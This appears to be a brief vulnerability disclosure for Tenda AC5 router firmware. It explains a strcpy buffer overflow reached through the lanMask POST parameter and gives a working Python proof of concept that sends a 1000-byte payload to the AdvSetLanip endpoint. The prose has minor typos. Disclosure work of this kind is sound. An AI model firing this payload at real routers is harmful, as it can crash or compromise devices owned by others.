AC5 V1.0 V15.03.06.47
The Tenda AC5 V1.0 V15.03.06.47 firmware has a buffer overflow vulnerability in the fromadvsetlanip function. The Var variable receives the lanMask parameter from a POST request and is later passed to the strcpy function. However, since the Since user can control the input of lanMask, the statemeant strcpy((char *)&a4[38 * a3 + 2] + 2, a1); can cause a buffer overflow.
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/AdvSetLanip'
payload = b'a' * 1000
data = {
'lanMask':payload
}
requests.post(url, data=data)
